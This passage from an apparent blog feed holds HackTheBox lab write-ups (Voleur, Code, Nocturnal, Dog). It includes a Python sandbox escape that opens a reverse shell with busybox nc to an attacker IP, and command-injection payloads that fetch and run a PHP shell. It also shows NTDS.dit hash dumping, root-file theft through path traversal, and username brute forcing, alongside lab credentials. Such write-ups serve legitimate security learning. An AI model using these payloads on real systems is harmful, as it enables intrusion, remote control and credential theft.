&lt;p&gt;&lt;img src=&quot;attachments/9056128b4c9cab105f123fe55d7cf46f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;jeremy.combs
qT3V9pLXyN7W4m
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fe63acd8365416015f8de8ab4470ed77.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can now easily log in as &lt;em&gt;jeremy&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9fdaa4a1747f24c9e4b2936468c8b822.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;I started in the &lt;strong&gt;Third-Line Support&lt;/strong&gt; folder:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9e1b5a27fe4dbe025e8c197afe5a911e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then download over the &lt;code&gt;id_rsa&lt;/code&gt; and check who it belongs to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh-keygen -lf id_rsa
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/529baf5211f3d6ced929c1d48ace3259.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I could easily get access:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0a94c29708a1bc7260db32620f44ef27.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Fortunately enough:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3bc4ec6aa16bcb587e783d268d0b99fb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It was within the &lt;code&gt;/mnt&lt;/code&gt; directory where I was able to find all the sweet stuff:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c615163371175474f4a1ea07a707cc71.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
I could essentially copy over &lt;code&gt;NTDS.dit&lt;/code&gt; now and get the Admin password!&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;To make my life easier I used &lt;code&gt;sudo su&lt;/code&gt; and found the juicy stuff:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dcaf47b6ace61937cf0769c72f751bf6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;NTDS.dit&lt;/h3&gt;
&lt;p&gt;I copied it over using the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;scp -i id_rsa -P 2222 -r &quot;svc_backup@dc.voleur.htb:/mnt/c/IT/Third-Line Support/Backups&quot; .
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b4c4e824c7878c1fc52fd66f3039f6e6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And in turn used &lt;code&gt;impacket-secretsdump&lt;/code&gt; to dump the hashes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL -hashes lmhash:nthash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/012c3ee0c621336b2157436dd6d7e152.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Shell as Administrator&lt;/h2&gt;
&lt;p&gt;I can now finally get the &lt;em&gt;Administrator&lt;/em&gt; ticket and log in:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/32bd3f1ec6d21c90a3b7a1391004b9b5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c11889da3ced46474f76eb855de56054.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5f551d297e7b16ce7edf00cfcbca8876.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Code</title><link>https://maxk9999.vercel.app/posts/code</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/code</guid><pubDate>Thu, 10 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.62
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -vvvv -p- -T5 --min-rate=5000 -Pn code.htb

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    syn-ack Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
| http-methods: 
|_  Supported Methods: GET OPTIONS HEAD
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5000/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/17900db9728e5b43ec9591e79ffc434d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried to run a reverse shell right away but it would not let me:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/420f690728ae3f952ea57894a7bb9985.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and created an account:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/96560aa6d0bc2ab207b0478af98b6a47.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;test
test
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After a lot of trial and error I found that this nifty piece of code returned a different error:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;print((()).__class__.__bases__[0].__subclasses__())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/098055cac8256e0529497d3e3145e9a0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Naturally I was not going to go over it all by hand so I opened up &lt;code&gt;caido&lt;/code&gt; to view the request differently:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/43f4566d6cb8c35a477cbd214eefc5f1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1cb5ace849fef376892334654692015b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;So in order to quickly count it I inserted the response inside a &lt;code&gt;response.txt&lt;/code&gt; file, and wrote a &lt;code&gt;python&lt;/code&gt; script to go over the file and find &lt;code&gt;popen&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import json
import re

with open(&apos;response.txt&apos;) as f:
    data = json.load(f)

output = data[&apos;output&apos;]

# Match whole class entry, not just class name
class_entries = re.findall(r&quot;&amp;lt;class &apos;([^&apos;]+)&apos;&amp;gt;&quot;, output)

for idx, name in enumerate(class_entries):
    if &apos;popen&apos; in name.lower():
        print(f&apos;Found at index: {idx}&apos;)
        print(f&apos;Class name: {name}&apos;)
        break
else:
    print(&apos;popen not found.&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This gave me the following output:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c19c8c3ad12963ab1b51f6536b04cee7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried it in the web app but it was off by 1:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;raise Exception((()).__class__.__bases__[0].__subclasses__()[317].__name__)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/325e70a97c7593f2e37ea7800af045b4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Reverse Shell&lt;/h3&gt;
&lt;p&gt;Now I had to modify the payload in such a way that it would give me a reverse shell.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;raise Exception(str((()) .__class__.__bases__[0].__subclasses__()[317](
    &quot;bash -c &apos;busybox nc 10.10.14.17 80 -e bash&apos;&quot;, shell=True, stdout=-1).communicate()))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I then clicked &lt;strong&gt;Run&lt;/strong&gt; and checked my listener.&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as app-production&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/65a474a31fa12c1a43e356f560a98c33.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I got a shell, let&apos;s start enum.&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/109d62e23f61be24dea4eea88a6b28fe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/237d914add69d84764e2aca3726f9522.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/69e11143af3dfce01281c5cbc970fdc2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/851b810e2ea690905348b31418212cda.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;martin
nafeelswordsmaster
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Time to move laterally.&lt;/p&gt;
&lt;h2&gt;Lateral Movement&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c0f6d22e4945d296ea2b79e911d56f45.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e07bc26664efa5eb6c059836b1be290e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Symlinks&lt;/h2&gt;
&lt;p&gt;So in order to steal all info from &lt;em&gt;root&lt;/em&gt; we can use the following script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# symlink script to steal everything from *root* and zip it up
cat &amp;gt; root-steal.json &amp;lt;&amp;lt; EOF  
{  
&quot;destination&quot;: &quot;/home/martin/&quot;,  
&quot;multiprocessing&quot;: true,  
&quot;verbose_log&quot;: true,  
&quot;directories_to_archive&quot;: [  
&quot;/home/....//root/&quot;  
]  
}  
EOF
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5fd07dd668d062c47226dda42dd095ef.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As soon as we untar the folder we can access anything from &lt;em&gt;root&lt;/em&gt;&apos;s directory:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a10b8b564de5905de17bbe162f6d422d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b6cdcbbd6a7961e290a801eaac5a3f5e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3fdefd2d5873ca74f4438e851c6139a7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Nocturnal</title><link>https://maxk9999.vercel.app/posts/nocturnal</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/nocturnal</guid><pubDate>Thu, 10 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.64
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -vvvv -p- -T5 --min-rate=5000 -Pn nocturnal.htb

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Welcome to Nocturnal
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9deb582fa0e5059277de20a1154d96ba.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I registered an account as &lt;code&gt;test - test123&lt;/code&gt; and got the welcome screen:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/5d453bbea064a8917e3bf58dc6918c9c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried uploading a webshell and got this error:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a160a4d6d1ddd5ec485342fbe9c3f208.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8cc91e69d2123d4e7e6b86b8ea2708dd.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I opened &lt;code&gt;caido&lt;/code&gt; and started modifying the request:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f023e482f00579bb45ffbea34c90e0db.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1d3d6b19c56b1b995d992aec87a29cc9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I changed it to &lt;code&gt;webshell.php.pdf&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3cc111107fee28234259487dbea733da.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I couldn&apos;t access the files however:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/719b866ab8c8aec36e026895dc3c8cff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;gobuster&lt;/h3&gt;
&lt;p&gt;I ran a &lt;code&gt;gobuster&lt;/code&gt; scan to enumerate the endpoints:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8798bebe6a0d32d8ebbb91eba663b29e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;caido&lt;/code&gt; I noticed these requests:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/a76074e7904953394cf7b28537e401a1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;ffuf&lt;/h3&gt;
&lt;p&gt;So I tried brute forcing any usernames:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ffuf -u &apos;http://nocturnal.htb/view.php?username=FUZZ&amp;amp;file=webshell.pdf&apos; -w /usr/share/seclists/Usernames/statistically-likely-usernames/john.txt -fs 2985 -t 100 -H &apos;Cookie: PHPSESSID=4k0p6cgchd4dvfk8ubfjsnb8tj&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e7c509c2b0cf4e6b23f65d6bdb88363b.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I added them all to a &lt;code&gt;users.txt&lt;/code&gt; file for further brute forcing.&lt;/p&gt;
&lt;p&gt;I then went on to manipulate the request with the found usernames and found this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/51a452bd606bf8159fea447fa5242d12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9b834f48370db906debb51cc72f1fa84.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
The other users had no files.
:::&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e37bb7390893adb97941dc50de266df8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4e5f914163ff27b03a72f18152734282.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;amanda
arHkG7HAI68X8s1J
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However I was not able to log in with this password:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/14559b953a61b3c2e5da1efa6b633900.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Neither were any of the other 2 able to log in with this password:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/dcfa65ff6e998d2768672b754d4b3a74.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This probably meant that I had to use these creds online:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7fc2cf671d6703aacfbf381091d8b258.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4d2148c3b0dcaeef59fec4dcaa5ef76a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I can create backups here:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/54bb950ab835c46f06a232219901da59.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/329caef23d7f6e57bf1cdc06d05ea57c.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Command Injection&lt;/h3&gt;
&lt;p&gt;However this didn&apos;t give me anything juicy, but viewing the request I saw a potential &lt;strong&gt;Command Injection&lt;/strong&gt; vulnerability:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;password=%0Abash%09-c%09&quot;wget%0910.10.14.17/shell.php&quot;%0A&amp;amp;backup=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/02dd60d865c7eae31afd7ed9f4071c57.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/94b71594c55fbcce800e7abcc6b58fe1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;password=%0Abash%09-c%09&quot;php%09shell.php&quot;%0A&amp;amp;backup=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0fe671b5eed38e2b105f560041f76559.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Foothold&lt;/h1&gt;
&lt;h2&gt;Shell as www-data&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f409f152224c5c3c9f4dccb3d865ddda.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then upgraded my shell to a &lt;code&gt;penelope&lt;/code&gt; shell:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f0a4f0ececa3309e93dcca5cef0d88b6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here I found this &lt;code&gt;db&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/8c3df3446b78773cc6329a5c6fefc618.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and downloaded it so I could view it with &lt;code&gt;sqlite3&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7afba72e4d9b0ca44fe8cbf7275885df.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/f3faf3a84c463a7478db27428ad5f012.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I went ahead and cracked them using crackstation:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/1c4ed45dd2710ccaa77744bdf4ca8868.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I found a valid set:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tobias
slowmotionapocalypse
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Lateral Movement&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/6449a631f6f763b76afb3d4e9cb7e4a2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;user.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b4a6ed63a01703b1e98a2d4c28e21201.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Privilege Escalation&lt;/h1&gt;
&lt;h2&gt;Enumeration&lt;/h2&gt;
&lt;p&gt;I started off with &lt;code&gt;linpeas.sh&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ecb692d59e7963ee761b0a5864e5a18f.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/518a40288c00a35d4e27e41b8779e0ae.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;:::note
There&apos;s a bunch of ports open on localhost, I might have to check it out.
:::&lt;/p&gt;
&lt;h2&gt;Port Forward&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fa73480f0cf33b63c623eb85a6754d87.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s check it out:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7dadccb56c02e97741807238820d2480.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/d5dccaa8708e17c31f4e35a7e4b5e750.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried to brute force the creds, and the following combo worked:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;admin
slowmotionapocalypse
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From the source code I can find the version:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/e4cfc968fedb869e2356f9de70ef2088.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s do some OSINT.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/9f358f648a26c4ed34375d836d510396.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;PoC -&amp;gt; root&lt;/h2&gt;
&lt;p&gt;I used the following poc:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/571248aed40011b7d8d4f96bcd964268.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/78cd3f23c462c7d6bfd341b991a06108.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;root.txt&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ce3e1989c71dd4ed01ea19e6619079a9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4d3749f9c2a23012da06e3190c15475d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item><item><title>HTB-Dog</title><link>https://maxk9999.vercel.app/posts/dog</link><guid isPermaLink="true">https://maxk9999.vercel.app/posts/dog</guid><pubDate>Fri, 11 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;Scope:
10.10.11.58
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Recon&lt;/h1&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap -sC -sV -sT -vvvv -p- -T5 --min-rate=5000 -Pn dog.htb

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-robots.txt: 22 disallowed entries 
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
| /user/password /user/login /user/logout /?q=admin /?q=comment/reply 
| /?q=filter/tips /?q=node/add /?q=search /?q=user/password 
|_/?q=user/register /?q=user/login /?q=user/logout
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-favicon: Unknown favicon MD5: 3836E83A3E835A26D789DDA9E78C5510
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file &apos;description&apos; to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
|_http-title: Home | Dog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I notice there&apos;s a &lt;code&gt;.git&lt;/code&gt; repo found, let&apos;s check it out.&lt;/p&gt;
&lt;h2&gt;git-dumper&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c8b373543229ec186a5ae43c062093cb.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/fd4384ada43c0ffc87f82dd4a9ce70a6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;git log&lt;/code&gt; I notice only 1 commit:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/c4ba8265186c78e25c2c56b96a973a23.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Within &lt;code&gt;settings.php&lt;/code&gt; I find a set of creds:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4a7fb4624782b456d14604ff80759ed4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root
BackDropJ2024DS2024
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note
However &lt;em&gt;root&lt;/em&gt; is not recognized as a username so it must be solely for &lt;code&gt;mysql&lt;/code&gt;.
:::&lt;/p&gt;
&lt;h3&gt;grep&lt;/h3&gt;
&lt;p&gt;In order to find the username amongst all the files I used:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;grep -r dog.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4a41c665bf37bb01a42611f8af893ec5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This spat out the username, let&apos;s try it out.&lt;/p&gt;
&lt;h2&gt;80/TCP - HTTP&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;attachments/4aa0448d03dd78a8305ffc306be5a0fa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I got in with the combination of creds, let&apos;s check it out.&lt;/p&gt;
&lt;p&gt;I notice a lot of user accounts:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/25eaccabb6a87509bd99b68b03c6817a.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I then found a way to add pages in &lt;strong&gt;Home&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Add Content&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/0cd3589bdccce9a0ffedc30554982a41.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I tried making a webshell out of a page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/b36cb8d90e37cea46f906f6a0ab4dc33.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/3c54e0aece2518a7bbbcd6a2baa7b9b8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Unfortunately this didn&apos;t work.&lt;/p&gt;
&lt;p&gt;Instead I will try to upload it as a &lt;em&gt;theme&lt;/em&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/ea18522c474543765d6c5cad9fca2108.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;But I require an &lt;code&gt;.info&lt;/code&gt; file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;attachments/7462da9f19f088b4333dc3e1fe6d82ff.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I create my &lt;code&gt;webshell.info&lt;/code&gt; file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type = module
name = Block
description = Controls the visual building blocks a page is constructed with. Blocks are boxes of content rendered into an area, or region, of a web page.
package = Layouts
tags[] = Site Architecture
version = BACKDROP_VERSION
backdrop = 1.x

configure = admin/structure/block

; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662
